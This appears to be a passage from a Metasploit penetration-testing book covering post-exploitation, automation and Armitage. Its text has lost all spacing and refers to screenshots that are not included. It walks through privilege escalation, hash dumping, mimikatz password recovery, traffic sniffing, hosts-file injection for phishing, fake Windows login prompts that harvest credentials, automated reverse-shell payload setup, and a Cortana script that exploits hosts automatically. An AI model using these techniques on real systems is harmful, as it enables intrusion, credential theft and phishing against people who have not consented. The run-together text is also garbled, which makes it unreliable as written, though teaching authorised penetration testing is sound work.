Insuchcases,ifwetrytogetsystemprivilegeswiththegetsystemcommand,wegetthefollowingerrors:

So,whatshallwedointhesecases?Theansweristoescalateprivilegesusingpost-exploitationtoachievethehighestlevelofaccess.ThefollowingdemonstrationisconductedoveraWindowsServer2008SP1operatingsystem,whereweusedalocalexploittobypasstherestrictionsandgaincompleteaccesstothetarget:

Intheprecedingscreenshot,weusedtheexploit/windows/local/ms10_015_kitrap0dexploittoescalateprivilegesandgainthehighestlevelofaccess.Let'scheckthelevelofaccessusingthegetuidcommand:

Wecanseethatwehavesystem-levelaccessandcannowperformanythingonthetarget.

Tip

Formoreinfoonthekitrap0dexploit,refertohttps://technet.microsoft.com/en-us/library/security/ms10-015.aspx.

Let'snowrunthehashdumpcommandandcheckifitworks:

Bingo!Wegotthehasheswithease.

Findingpasswordsincleartextusingmimikatz

mimikatzisagreatadditiontoMetasploitthatcanrecoverpasswordsincleartextfromthelsassservice.Wehavealreadyusedthehashbyusingthepass-the-hashattack.However,sometimes,passwordscanalsoberequiredtosavetimeinthefirstplace,andfortheuseofHTTPBasicauthentication,whichrequirestheotherpartytoknowthepasswordratherthanthehash.

mimikatzcanbeloadedusingtheloadmimikatzcommandinMetasploit.Thepasswordscanbefoundusingthekerberoscommandmadeavailablebythemimikatzmodule:

SniffingtrafficwithMetasploit

Yes,Metasploitdoesprovidethefeatureofsniffingtrafficfromthetargethost.Notonlycanwesniffaparticularinterfacebutanyspecifiedinterfaceonthetarget.Inordertorunthismodule,wewillfirstneedtolistallinterfacesandchooseanyoneamongstthem:

Wecanseewehavemultipleinterfaces.Let'sstartsniffingonthewirelessinterface,whichisassigned2astheID,asshowninthefollowingscreenshot:

Westartthesnifferbyissuingasniffer_startcommandonthewirelessinterfacewiththeIDas2and1000packetsasthebuffersize.Wecanseethatissuingthesniffer_dumpcommand,wedownloadedthepcapsuccessfully.Let'sseewhatdatawehavegatheredbylaunchingthecapturedpcapfileinWiresharkbyissuingthefollowingcommand:

Wecanseeavarietyofdatainthepcapfile,whichcomprisesDNSqueries,HTTPrequests,andcleartextpasswords:

HostfileinjectionwithMetasploit

Wecanperformavarietyofphishingattacksonthetargetbyinjectingthehostfile.Wecanaddentriestothehostfileforspecificdomainsandthencanleverageourphishingattackswithease.

Let'sseehowwecanperformhostfileinjectionwithMetasploit:

Wecanseethatweusedthepost/windows/manage/inject_hostmoduleonsession1andinsertedtheentryintothetarget'shostfile.Let'sseewhathappenswhenatargetopensyahoo.com:

Wecanseethatthetargetisredirectedtoourmaliciousserver,whichcanhostphishingpageswithease.

Phishingwindowloginpasswords

Metasploitincludesamodulethatcanphishforloginpasswords.ItgeneratesaloginpopupsimilartoanauthenticWindowspopupthatcanharvestcredentialsand,sinceitismandatory,theuserisforcedtofillinthecredentialsandthenproceedwiththenormaloperations.Thiscanbedonebyrunningpost/windows/gather/phish_login_pass.Assoonaswerunthismodule,thefakeloginboxpopsupatthetargetasshowninthefollowingscreenshot:

Oncethetargetfillsthecredentials,weareprovidedwiththecredentialsinplaintextasshowninthefollowingscreenshot:

Voila!Wegotthecredentialswithease.Aswehaveseeninthischapter,Metasploitprovidestonsofgreatfeaturesforpostexploitationbyworkingwithstandalonetoolssuchasmimikatzandthenativescriptsaswell.

SummaryThroughoutthischapter,wecoveredpostexploitationindetail.Welookedatpostexploitationscenariosfrombasictoadvanced.WealsolookedatprivilegeescalationinaWindowsenvironmentandcoupleofotheradvancedtechniques.

Inthenextchapter,wewillseehowwecanspeedupthetestingprocessandgainanadvantageovermanualtechniqueswithMetasploit.Wewillcoverautomatedapproaches,whichsavetimeandmoney.

Chapter9.SpeedingupPenetrationTesting"Ifeverythingseemsundercontrol,you'renotgoingfastenough"-MarioAndretti

Whileperformingapenetrationtest,itisveryimportanttomonitortimeconstraints.Apenetrationtestthatconsumesmoretimethanexpectedcanleadtolossoffaith,costthatexceedsthebudget,andmanyotherthings.Inaddition,thismightcauseanorganizationtoloseallofitsbusinessfromtheclientinthefuture.

Inthischapter,wewilldevelopmethodologiestoconductfast-pacedpenetrationtestingwithautomationtoolsandapproachesinMetasploit.Wewilllearnaboutthefollowingtopics:

SwitchingmodulesontheflyAutomatingpostexploitationSpeedingupexploitwritingSpeedinguppayloadgenerationusingthesocialengineeringtoolkit

Thisautomationtestingstrategywillnotonlydecreasethetimeoftestingbutwillalsodecreasethecost-per-hour-per-persontoo.

UsingpushmandpopmcommandsMetasploitofferstwogreatcommands,pushmandpopm.Thepushmcommandpushesthecurrentmoduleontothemodulestack,whilepopmpopsthepushedmodulefromthetopofthemodulestack.However,thisisnotthestandardstackavailabletoprocesses;instead,itistheutilizationofsameconceptbyMetasploit,butit'sotherwiseunrelated.Theadvantageofusingthesecommandsisspeedyoperations,whichsavesalotoftimeandeffort.

Considerascenariowherewearetestinganinternalserverwithmultiplevulnerabilities.Wehavetwoexploitableservicesrunningoneverysystemontheinternalnetwork.Inordertoexploitbothservicesoneverymachine,werequireafastswitchingmechanismbetweenmodulesforboththevulnerabilities.Insuchcases,wecanusethepushmandpopmcommands.Wecantestaserverforasinglevulnerabilityusingamoduleandthencanpushthemoduleonthestackandloadtheothermodule.Aftercompletingtaskswiththesecondmodule,wecanpopthefirstmodulefromthestackusingthepopmcommandwithalltheoptionsintact.

Let'slearnmoreabouttheconceptthroughthefollowingscreenshot:

Fromtheprecedingscreenshot,wecanseethatwepushedthepsexecmoduleontothestackusingthepushmcommandandweloadedtheexploit/multi/handlermodule.Assoonaswearedonewithcarryingout

operationswiththemulti-handlermodule,wecanusethepopmcommandtoreloadthepsexecmodulefromthestackasshowninthefollowingscreenshot:

Wecanclearlyseethatalltheoptionsforthepsexecmoduleweresavedalongthemodulesonthestack.Therefore,wedonotneedtosettheoptionsagain.

TheloadpathcommandWhiledevelopingmodulesforMetasploit,weplacethemodulesintheircorrespondingcategoriesfolder.However,onceMetasploitisupdated,allthemodulesaredeletedandwehavetoreplacethemintheircorrespondingfolderseverytimeanupdateoccurs.Toovercomethisconstraint,wecancreateadirectoryoutsideMetasploit'sprimarydirectoryandcanloadmodulesfromthere.TheadvantageofdoingthisliesinthefactthatcustommoduleswillnotbelostatthetimewhenMetasploitupdates.

Inthefollowingexample,wecopyallthemodulestothedesktopinadirectorycalledmods.However,weneedtoreplicatethedirectorystructureofMetasploitundermodsdirectory,inordertousemodulesvirtuallyfromMetasploit'sdirectory.ThismeansthattheloadedpathwillbecomeavirtualbranchoftheMetasploit'sdirectorystructure.Let'shavealookatloadingcustompathsintoMetasploit,asshowninthefollowingscreenshot:

Intheprecedingscreenshot,weplacedourmodulesinthemodsdirectoryontheDesktopintheexploits/miscfolder.Now,wheneverweloadourcustompathintoMetasploit,ourmoduleswillbeavailableintheexploit/miscdirectory.Let'sloadthepathintoMetasploitasshowninthefollowingscreenshot:

Wecanseethatourmodulesareloadedsuccessfully.Let'sseeiftheyareavailabletouseunderMetasploitinthefollowingscreenshot:

Intheprecedingscreenshot,wecanseethatourmodulesareavailabletouseinMetasploit.Therefore,nomatterhowmanytimestheMetasploitupdates,ourcustommoduleswillnotbelostandcanbeloadedasmanytimeswewant,thussavingthetimeofcopyingallthemodulesoneaftertheotherintotheirrespectivedirectories.

Pacingupdevelopmentusingreload,editandreload_allcommandsDuringthedevelopmentphaseofamodule,wemayneedtotestamoduleseveraltimes.ShuttingdownMetasploiteverytimewhilemakingchangestothenewmoduleisatedious,tiresome,andtime-consumingtask.Theremustbeamechanismtomakethemoduledevelopmentaneasy,short,andfuntask.Fortunately,Metasploitprovidesthereload,edit,andreload_allcommands,whichmakethelifeofmoduledeveloperscomparativelyeasy.WecaneditanyMetasploitmoduleontheflyusingtheeditcommandandreloadtheeditedmoduleusingthereloadcommandwithoutshuttingdownMetasploit.Ifchangesaremadeinmultiplemodules,wecanusethereload_allcommandtoreloadallMetasploitmodulesatonce.

Let'slookatanexample:

Intheprecedingscreenshot,weareeditingthefreefloatftp_user.rbexploitfromtheexploit/windows/ftpdirectorybecauseweissuedtheeditcommand.Wechangedthepayloadsizefrom444to448andsavedthefile.Next,wesimplyneedtoissuethereloadcommandinordertoupdatethesourcecodeofthemoduleinMetasploit,asshowninthefollowingscreenshot:

Usingthereloadcommand,weeliminatedtheneedtorestartMetasploitwhileworkinguponthenewmodules.

workinguponthenewmodules.

Tip

TheeditcommandlaunchesMetasploitmodulesforeditingintheVIeditor.LearnmoreaboutVIeditorcommandsathttp://www.tutorialspoint.com/unix/unix-vi-editor.htm.

MakinguseofresourcescriptsMetasploitoffersautomationthroughresourcescripts.Theresourcescriptseliminatethetaskofsettingtheoptionsmanuallyandsetupeverythingautomatically,thussavingthetimethatisrequiredtosetuptheoptionsofamoduleandthepayload.

Therearetwowaystocreatearesourcescript,whicharecreatingthescriptmanuallyorusingthemakerccommand.Ipersonallyrecommendthemakerccommandovermanualscripting,sinceiteliminatestypingerrors.Themakerccommandsavesallthepreviouslyissuedcommandsinafile,whichcanbeusedwiththeresourcecommand.Let'sseeanexample:

WecanseeintheprecedingscreenshotthatwelaunchedanexploithandlermodulebysettingupitsassociatedpayloadandoptionssuchasLHOSTandLPORT.Issuingthemakerccommandwillsaveallthesecommandsinasystematicwayintoafileofourchoice,whichismulti_handinthiscase.Wecanseethatmakercsuccessfullysavedlastsixcommandsintothemulti_handresourcefile.Let'susetheresourcescriptasfollows:

Wecanclearlyseethatbyjustissuingtheresourcecommandfollowedbyourscript,itreplicatedallthecommandswesavedautomatically,whicheliminatedthetaskofsettinguptheoptionsrepeatedly.

UsingAutoRunScriptinMetasploitMetasploitoffersanothergreatfeatureofusingAutoRunScript.TheAutoRunScriptoptioncanbepopulatedbyissuingtheshowadvancedcommand.TheAutoRunScriptautomatespostexploitationandexecutesoncetheaccesstothetargetisgained.WecaneithersettheAutoRunScriptoptionmanuallybyissuingsetAutoRunScript[script-name]orintheresourcescriptitself,whichautomatesexploitationandpostexploitationtogether.TheAutoRunScriptcanalsorunmorethanonepostexploitationscriptbymakingtheuseofthemulti_scriptandmulti_console_commandmodulesaswell.Let'stakeanexampleinwhichwehavetwoscripts,oneforautomatingtheexploitationandtheotherforautomatingthepostexploitation,asshowninthefollowingscreenshot:

Thisasmallpostexploitationscriptthatautomatescheckvm(amoduletocheckifthetargetisrunningonvirtualenvironment)andmigrate(amodulethathelpsmigratingfromtheexploitedprocesstosaferones)modules.Let'shavealookattheexploitationscript:

TheprecedingresourcescriptautomatesexploitationforHFSfileserverbysettingupalltherequiredparameters.WealsosettheAutoRunScriptoptionwiththemulti_console_commandoption,whichallowsexecutionofthemultiplepostexploitationscripts.Wedefineourpostexploitationscripttomulti_console_commandusing-rcswitchasshownintheprecedingscreenshot.

Let'sruntheexploitationscriptandanalyzeitsresultsinthefollowingscreenshot:

Wecanclearlyseeintheprecedingscreenshotthatsoonaftertheexploitiscompleted,thecheckvmandmigratemodulesareexecuted,whichstatesthatthetargetisaSunVirtualBoxVirtualMachineandtheprocessismigratedtonotepad.exe.Thesuccessfulexecutionofourscriptcanbeseeninthefollowingremainingsectionoftheoutput:

Wesuccessfullymigratedtothenotepad.exeprocess.However,iftherearemultipleinstancesofnotepad.exe,theprocessmigrationmayhopoverotherprocessesaswell.

UsingmultiscriptmoduleinAutoRunScriptoption

Wecanalsouseamultiscriptmoduleinsteadofthemulti_console_commandmodule.Let'screateanewpost-exploitationscriptasfollows:

Aswecanclearlyseeintheprecedingscreenshotthatwecreatedanewpost-exploitationscriptnamedmulti_scr.rc.Weneedtomakechangestoourexploitationscriptinordertoaccommodatethechangesasfollows:

Wesimplyreplacedmulti_console_commandwithmultiscriptandupdatedthepathofourpostexploitationscriptasshownintheprecedingscreenshot.Let'sseewhathappenswhenweruntheexploitscript:

Wecanclearlyseethataftertheaccesstothetargetisgained,thecheckvmmoduleexecutes,whichisfollowedbythemigrate,get_env,andevent_managercommands,asshowninthefollowingscreenshot:

Theevent_managermoduledisplaysallthelogsfromthetargetsystembecausewesuppliedthe-iswitchalongwiththecommandinourresourcescript.Theresultsofevent_managercommandareasfollows:

GlobalizingvariablesinMetasploitWorkingonaparticularrangeoraspecifichost,wecanalwaysusethesetgcommandtospecifytheLHOSTandRHOSToptions.SettingtheoptionswiththesetgcommandwillsettheRHOSTorLHOSToptionsgloballyforeverymoduleloaded.Hence,thesetgcommandeliminatestheuseofsettingupthesespecificoptionsrepeatedly.WecanshouldmakeuseofthesetgcommandinsteadofoptionssuchasLPORT,RPORT,andpayload.However,differentservicesrunondifferentportsandwemayneedtoalterthepayloadsaswell.Hence,settingupoptionsthatdonotalterfromonemoduletoanotherisabetterapproach.Let'shavealookatanexample:

WeassignedRHOSTwithsetgcommandintheprecedingscreenshot.Wecanseethatnomatterhowmanytimeswechangethemodule,thevalueofRHOSTremainsconstantforallmodulesandwedonotneedtoenteritmanuallyineverymodule.Thegetcommandfetchesthevalueofavariablefromthecurrentcontext,whilethegetgcommandfetchesthevalueofaglobalvariable.

AutomatingSocial-EngineeringToolkitTheSocialEngineeringToolkit(SET)isaPython-basedsetoftoolsthattargetsthehumansideofpenetrationtesting.WecanuseSETtoperformphishingattacks,web-jackingattacksthatinvolvevictimredirectionstatingthattheoriginalwebsitehasmovedtoadifferentplace,fileformat-basedexploitsthattargetsparticularsoftwareforexploitationofthevictim'ssystem,andmanyothers.ThebestthingaboutusingSETisthemenu-drivenapproach,whichwillsetupquickexploitationvectorsinnotime.

Tip

TutorialsonSETcanbefoundathttp://www.social-engineer.org/framework/se-tools/computer-based/social-engineer-toolkit-set/.

SETisextremelyfastatgeneratingclient-sideexploitationtemplates.However,wecanmakeitfasterbyusingtheautomationscripts.Let'sseeanexample:

Intheprecedingscreenshot,wefedse-scripttotheseautomatetool,whichresultedinapayloadgenerationandtheautomatedsetupofanexploithandler.Let'sanalyzethese-scriptinmoredetail:

Youmightbewonderingthathowthenumbersinthescriptcaninvokeapayloadgenerationandexploithandlersetupprocess.

Aswediscussedearlier,SETisamenudriventool.Hence,thenumbersinthescriptdenotetheIDofthemenuoption.Let'sbreakdowntheentireautomationprocessintosmallersteps.

Thefirstnumberinthescriptis1.Hence,theSocial-EngineeringAttacksoptionisselectedwhen1isprocessed:

Thenextnumberinthescriptis4.Therefore,CreateaPayloadandListeneroptionisselected,asshowninthefollowingscreenshot:

Thenextnumberis2,whichdenotesthepayloadtypeasWindowsReverse_TCPMeterpreter,asshowninthefollowingscreenshot:

Next,weneedtospecifytheIPaddressofthelistener,whichis192.168.10.103inthescript.Thiscanbevisualizedmanually:

Inthenextcommand,wehave4444,whichistheportnumberforthelistener:

Wehaveyesasthenextcommandinthescript.Theyesinthescriptdenotesinitializationofthelistener:

Assoonasweprovideyes,thecontrolisshiftedtoMetasploitandtheexploitreversehandlerissetupautomatically,asshowninthefollowingscreenshot:

WecanautomateanyattackinSETinasimilarmannerasdiscussedpreviously.SETsavesagoodamountoftimewhengeneratingcustomizedpayloadsforclient-sideexploitation.However,byusingtheseautomatetool,wemadeitultra-fast.

SummaryThroughoutthischapter,wefocusedonspeedinguppenetrationtestingwithMetasploit.Welookedatthepushm,popm,loadpath,reloadandeditcommands,whichspeedupdevelopmentandtestingprocedures.WelookedatcreatingresourcescriptsandmakinguseofAutoRunScriptaswell.Welearnedaboutsettingglobalvariables,automatingpayloadgeneration,andexploithandlersetupusingSET.

Inthenextchapter,wewilldevelopapproachestopenetrationtestingwiththemostpopularGUItoolforMetasploit,Armitage.WewillalsolookatthebasicsofCortanascriptingandvariousotherinterestingattackvectorsthatwecanconductwithArmitage.

Chapter10.VisualizingwithArmitage"Vulnerabilityistheessenceofromance.It'stheartofbeinguncalculated,thewillingnesstolookfoolish,thecouragetosay,'Thisisme,andI'minterestedinyouenoughtoshowyoumyflawswiththehopethatyoumayembracemeforallthatIambut,moreimportant,allthatIamnot"-AshtonKutcher

Wecoveredhowtospeedupthepenetrationtestingprocessinthelastchapter.Let'scontinuewithagreattoolthatcanalsobeusedtospeedupapenetrationtest.

ArmitageisaGUItoolthatactsasanattackmanagerforMetasploit.ArmitagevisualizesMetasploitoperationsandrecommendsexploitsaswell.ArmitageismostcapableofprovidingsharedaccessandteammanagementtoMetasploit.

Inthischapter,wewilllookatArmitageanditsfeatures.WewillalsolookathowwecanconductpenetrationtestingwiththisGUI-enabledtoolforMetasploit.Inthelatterhalfofthischapter,wewilllookatCortanascriptingforArmitage.

Throughoutthischapter,wewillcoverthefollowingkeypoints:

PenetrationtestingwithArmitageAttackingwithremoteandclient-sideexploitsinArmitageScanningnetworksandhostmanagementPost-exploitationwithArmitageThebasicsofCortanascriptingAttackingwithCortanascriptsinArmitage

So,let'sbeginourjourneyoftestingwithArmitage.

ThefundamentalsofArmitageArmitageisanattackmanagertoolthatautomatesMetasploitinagraphicalway.ArmitageisbuiltinJavaandwascreatedbyRaphaelMudge.Itisacross-platformtoolandcanrunonbothLinuxaswellasWindowsoperatingsystems.

Gettingstarted

Throughoutthischapter,wewilluseArmitageinKaliLinux.TostartArmitage,performthefollowingsteps:

1. Openaterminalandtypeinthearmitagecommand,asshowninthefollowingscreenshot:

2. ClickontheConnectbuttoninthepop-upboxtosetupaconnection3. InordertostartArmitage,Metasploit'sRemoteProcedureCall(RPC)

servershouldberunning.AssoonasweclickontheConnectbuttoninthepreviouspop-up,anewpop-upwilloccurandaskifwewanttostartMetasploit'sRPCserver.ClickonYes,asshowninthefollowingscreenshot:

4. IttakesalittletimetogettheMetasploitRPCserverupandrunning.Duringthisprocess,wewillseemessagessuchasConnectionrefused,timeandagain.ThisisbecauseArmitagekeepscheckingiftheconnectionisestablishedornot.Thisisshowninthefollowingscreenshot:

SomeoftheimportantpointstokeepinmindwhilestartingArmitageareasfollows:

MakesureyouaretherootuserForKaliLinuxusers,considerstartingthePostgreSQLdatabaseserviceandMetasploitservicebytypingthefollowingcommands:

root@kali~:#servicepostgresqlstart

root@kali~:#servicemetasploitstart

Tip

FormoreinformationonArmitagestartuperrors,visithttp://www.fastandeasyhacking.com/start.

Touringtheuserinterface

Ifaconnectionisestablishedcorrectly,wewillseetheArmitageinterfacepanel.Itwilllooksimilartothefollowingscreenshot:

Armitage'sinterfaceisstraightforward,anditprimarilycontainsthreedifferentpanes,asmarkedintheprecedingscreenshot.Let'sseewhatthesethreepanesaresupposedtodo:

ThefirstpanecontainsreferencestoallthevariousmodulesofferedbyMetasploit:auxiliary,exploit,payload,andpost.Wecanbrowseeachonefromthehierarchyitselfandcandouble-clicktolaunchthemoduleofourchoiceinstantly.Inaddition,justbelowthefirstpane,thereliesasmallinputboxthatwecanusetosearchforthemodulesinstantlywithoutexploringthehierarchy.Thesecondpaneshowsallthehoststhatarepresentinthenetwork.Thispanegenerallydisplaysthehostsinagraphicalformat.Forexample,itwilldisplaysystemsrunningWindowsasmonitorswithaWindowslogo.Similarly,aLinuxlogoforLinuxandotherlogosaredisplayedforothersystemsrunningonMAC,andsoon.Itwillalsoshowprinterswithaprintersymbol,whichisagreatfeatureofArmitageasithelpsustorecognizethedevicesonthenetwork.Thethirdpaneshowsalltheoperationsperformed,post-exploitationprocess,scanningprocess,Metasploit'sconsole,andresultsfrompost-exploitationmodulestoo.

Managingtheworkspace

Aswehavealreadyseeninthepreviouschapters,workspacesareusedtomanagevariousdifferentattackprofileswithoutmergingtheresults.Supposeweareworkingonasinglerangeand,forsomereason,weneedtostopourtestingandtestanotherrange.Inthisinstance,wewouldcreateanewworkspaceandusethatworkspacetotestthenewrangeinordertokeeptheresultscleanandorganized.However,afterwecompleteourworkinthisworkspace,wecanswitchtoadifferentworkspace.Switchingworkspaceswillloadalltherelevantdatafromaworkspaceautomatically.Thisfeaturewillhelpkeepthedataseparateforallthescansmade,preventingdatafrombeingmergedfromvariousscans.

Tocreateanewworkspace,navigatetotheWorkspacestabandclickonManage.ThiswillpresentuswiththeWorkspacestab,asshowninthefollowingscreenshot:

AnewtabwillopeninthethirdpaneofArmitage,whichwillhelpdisplayalltheinformationaboutworkspaces.Wewillnotseeanythinglistedherebecausewehavenotcreatedanyworkspacesyet.

So,let'screateaworkspacebyclickingonAdd,asshowninthefollowingscreenshot:

Wecanaddworkspacewithanynamewewant.Supposeweaddedaninternalrangeof192.168.10.0/24,let'sseehowtheWorkspacestablooksafteraddingtherange:

WecanswitchbetweenworkspacesatanytimebyselectingthedesiredworkspaceandclickingontheActivatebutton.

ScanningnetworksandhostmanagementArmitagehasaseparatetabnamedHoststomanageandscanhosts.WecanimporthoststoArmitageviafilebyclickingonImportHostfromtheHoststaborwecanmanuallyaddahostbyclickingontheAddHostoptionfromtheHoststab.

Armitagealsoprovidesoptionstoscanforhosts.Thesescansareoftwotypes:NmapscanandMSFscanMSFscanmakesuseofvariousportandservice-scanningmodulesinMetasploit,whereastheNmapscanmakesuseofthepopularportscannertoolNetworkMapper(Nmap).

Let'sscanthenetworkbyselectingtheMSFscanoptionfromtheHoststab.However,uponclickingMSFscan,Armitagewilldisplayapopupthatasksforthetargetrange,asshowninthefollowingscreenshot:

Assoonasweenterthetargetrange,Metasploitwillstartscanningthenetworktoidentifyports,services,andoperatingsystems.Wecanviewthescandetailsinthethirdpaneoftheinterfaceasfollows:

Afterthescanhascompleted,everyhostonthetargetnetworkwillbepresentinthesecondpaneoftheinterfaceintheformoficonsrepresentingtheoperatingsystemofthehost,asshowninthefollowingscreenshot:

Intheprecedingscreenshot,wehaveaWindowsServer2008,WindowsServer2012,andaWindows10system.Let'sseewhatservicesarerunningonthetarget.

Modelingoutvulnerabilities

Let'sseewhatservicesarerunningonthehostsinthetargetrangebyright-clickingonthedesiredhostandclickingonServices.Theresultsshouldlooksimilartothefollowingscreenshot:

Wecanseemanyservicesrunningon192.168.10.109host,suchasIIS7.0,MicrosoftWindowsRPC,HttpFileServerhttpd2.3,andmuchmore.Let'stargetoneoftheseservicesbyinstructingArmitagetofindamatchingexploitfortheseservices.

Findingthematch

WecanfindthematchingexploitsforatargetbyselectingahostandthenbrowsingtotheAttackstabandclickingonFindAttack.TheFindAttackoptionwillmatchtheexploitdatabaseagainsttheservicesrunningonthetargethost.Armitagegeneratesapopupaftermatchingofalltheservicesagainsttheexploitdatabaseshowninthefollowingscreenshot:

AfterweclickonOK,wewillbeabletonoticethatwheneverweright-clickonahost,anewoptionnamedAttackisavailableonthemenu.TheAttacksubmenuwilldisplayallthematchingexploitmodulesthatwecanlaunchatthetargethost.

ExploitationwithArmitageAftertheAttackmenubecomesavailabletoahost,weareallsettoexploitthetarget.Let'stargettheHttpFileServer2.3withRejettoHTTPFileServerRemoteCommandExecutionexploitfromtheAttackmenu.ClickingontheExploitoptionwillpresentanewpop-upthatdisplaysallthesettings.Let'ssetalltherequiredoptionsasfollows:

Aftersettingalltheoptions,clickonLaunchtoruntheexploitmoduleagainstthetarget.Wewillbeabletoseeexploitationbeingcarriedoutonthetargetinthethirdpaneoftheinterfaceafterwelaunchtheexploitmodule,asshownin

thefollowingscreenshot:

Wecanseemeterpreterlaunching,whichdenotesthesuccessfulexploitationofthetarget.Inaddition,theiconofthetargethostchangestothepossessedsystemiconwithredlightning.

Post-exploitationwithArmitageArmitagemakespost-exploitationaseasyasclickingonabutton.Inordertoexecutepost-exploitationmodules,right-clickontheexploitedhostandchooseMeterpreterasfollows:

ChoosingMeterpreterwillpresentallthepost-exploitationmodulesinsections.Ifwewanttoelevateprivilegesorgainsystem-levelaccess,wewillnavigatetotheAccesssub-menuandclickontheappropriatebuttondependinguponourrequirements.

TheInteractsubmenuwillprovideoptionsforgettingacommandprompt,anothermeterpreter,andsoon.TheExploresubmenuwillprovideoptionssuchasBrowseFiles,ShowProcesses,LogKeystrokes,Screenshot,WebcamShot,andPostModules,whichareusedtolaunchotherpost-exploitationmodulesthatarenotpresentinthissub-menu.Thisisshowninthefollowingscreenshot:

Let'srunasimplepost-exploitationmodulebyclickingonBrowseFiles,asshowninthefollowingscreenshot:

Wecaneasilyupload,download,andviewanyfileswewantonthetargetsystembyclickingontheappropriatebutton.ThisisthebeautyofArmitage,itkeepscommandsfarawayandpresentseverythinginagraphicalformat.

Thisconcludesourremote-exploitationattackwithArmitage.Let'sextendourapproachtowardsclient-basedexploitationwithArmitage.

AttackingontheclientsidewithArmitageClient-sideattacksrequirethevictimtomakeamove,aswehaveseenmanytimesinthepastfewchapters.Wewillattackthesecondhostinthenetwork,whichisrunningonaWindows10system.Inthisattack,wewillcreateasimplepayload,sendittothevictim,andwaitforthevictimtoopenourpayloadfilebysettingupalistenerfortheincomingconnection.WearefamiliarwiththisattackaswehaveconductedthisattacksomanytimesbeforeinthepreviouschaptersbyusingMetasploit,SET,andsoon.Inthefollowingsection,wewillseewhatthedifferenceiswhenwecreateapayloadusingtheGUIratherthanusingthecommandline.

So,let'sseehowwecancreateapayloadandalistenerbyperformingthefollowingsteps:

1. Searchforapayloadorbrowsethehierarchytofindthepayloadthatwewanttouse.Inthecontextofourcurrentscenario,wewillusethemeterpreterreverse_tcppayloadasfollows:

2. Inordertousetheselectedpayload,double-clickonthepayload.However,double-clickingontheselectedpayloadwilldisplayapop-up,whichshowsallthesettingsthataparticularpayloadrequires,asshowninthefollowingscreenshot:

3. Fillinalltheoptions,suchasLPORT,andthenchoosetheOutputformatasrequired.WehaveaWindowshostasavictimhere,sowewillselectexeastheOutputformat;thisdenotesanexecutablefile.Aftersettingalltherequiredoptions,clickonLaunchtocreatethepayload.However,thiswilllaunchanotherpop-up,asshowninthefollowingscreenshot:

4. Inthisstep,Armitagewillaskustosavethegeneratedpayload.Wewilltypeinthedesiredfilenameandsavethefile.Next,weneedtosetupalistenerthatwillhandleallthecommunicationmadefromthetargethostaftertheexploitationandallowustointeractwiththehost

5. Inordertocreatealistenerforourpayload,weneedtonavigatetotheArmitagetabandchooseListenersandselectReverse.ThiswillgenerateapopupthatasksforthePortnumberandTypeofthelistener,asshowninthefollowingscreenshot:

6. Entertheportnumberas8888,settheTypeasmeterpreter,andthenclick

onStartListener7. Now,sendthefiletothevictim.Assoonasthevictimexecutesthefile,we

willgetaccesstothesystem,asshowninthefollowingscreen:

Wecannowperformallthepost-exploitationtasksatthetargethostbyfollowingexactlythesamestepsaswedidintheprevioussection.Let'sseewhatfilesareavailableonthetargethostbyselectingtheMeterpretersub-menuandchoosingBrowseFilesfromtheExploresub-menu,asshowninthefollowingscreenshot:

Additionally,let'sseewhichprocessesarerunningonthetargethostbyselectingtheMeterpretersubmenuandchoosingShowProcessesfromtheExploresubmenu.Thefollowingscreenshotshowstheprocessesrunningonthetargethost:

Thisconcludesourdiscussiononclient-sideexploitation.Let'snowgetourhandsdirtyandstartscriptingArmitagewithCortanascripts.

ScriptingArmitageCortanaisascriptinglanguagethatisusedtocreateattackvectorsinArmitage.PenetrationtestersuseCortanaforredteamingandvirtuallycloningattackvectorssothattheyactlikebots.However,aredteamisanindependentgroupthatchallengesanorganizationtoimproveitseffectivenessandsecurity.

CortanausesMetasploit'sremoteprocedureclientbymakinguseofascriptinglanguage.ItprovidesflexibilityincontrollingMetasploit'soperationsandmanagingthedatabaseautomatically.

Inaddition,Cortanascriptsautomatetheresponsesofthepenetrationtesterwhenaparticulareventoccurs.Supposeweareperformingapenetrationtestonanetworkof100systemswhere29systemsrunonWindowsServer2012andothersrunontheLinuxoperatingsystem,andweneedamechanismthatwillautomaticallyexploiteveryWindowsServer2012system,whichisrunningHttpFileServerhttpd2.3onport8081withtheRejettoHTTPFileServerRemoteCommandExecutionexploit.

Wecaneasilydevelopasimplescriptthatwillautomatethisentiretaskandsaveusagreatdealoftime.Ascripttoautomatethistaskwillexploiteachsystemassoonastheyappearonthenetworkwiththerejetto_hfs_execexploit,anditwillperformpredestinatedpost-exploitationfunctionsonthemtoo.

ThefundamentalsofCortana

ScriptingabasicattackwithCortanawillhelpusunderstandCortanawithamuchwiderapproach.So,let'sseeanexamplescriptthatautomatestheexploitationonport8081foraWindowsoperatingsystem:

onservice_add_8081{

println("HackingaHostrunning$1(".host_os($1).")");

if(host_os($1)eq"Windows7"){

exploit("windows/http/rejetto_hfs_exec",$1,%

(RPORT=>"8081"));

}

}

TheprecedingscriptwillexecutewhenNmaporMSFscanfindsport8081open.ThescriptwillcheckifthetargetisrunningonaWindows7systemuponwhichCortanawillautomaticallyattackthehostwiththerejetto_hfs_execexploitonport8081.

Intheprecedingscript,$1specifiestheIPaddressofthehost.print_lnprintsoutthestringsandvariables.host_osisafunctioninCortanathatreturnstheoperatingsystemofthehost.Theexploitfunctionlaunchesanexploitmoduleattheaddressspecifiedbythe$1parameter,andthe%signifiesoptionsthatcanbesetforanexploitincaseaserviceisrunningonadifferentportorrequiresadditionaldetails.service_add_8081specifiesaneventthatistobetriggeredwhenport8081isfoundopenonaparticularclient.

Let'ssavetheprecedingscriptandloadthisscriptintoArmitagebynavigatingtotheArmitagetabandclickingonScripts:

Inordertorunthescriptagainstatarget,performthefollowingsteps:

1. ClickontheLoadbuttontoloadaCortanascriptintoArmitage:

2. SelectthescriptandclickonOpen.TheactionwillloadthescriptintoArmitageforever:

3. MoveontotheCortanaconsoleandtypethehelpcommandtolistthevariousoptionsthatCortanacanmakeuseofwhiledealingwithscripts

4. Next,toseethevariousoperationsthatareperformedwhenaCortanascript

runs;wewillusethelogoncommandfollowedbythenameofthescript.Thelogoncommandwillprovideloggingfeaturestoascriptandwilllogeveryoperationperformedbythescript,asshowninthefollowingscreenshot:

5. Let'snowperformanintensescanofthetargetbybrowsingtotheHoststabandselectingIntenseScanfromtheNmapsub-menu.

6. Aswecanclearlysee,wefoundahostwithport8081open.Let'smovebackontoourCortanaconsoleandseewhetherornotsomeactivityhasoccurred:

7. Bang!Cortanahasalreadytakenoverthehostbylaunchingtheexploitautomaticallyonthetargethost

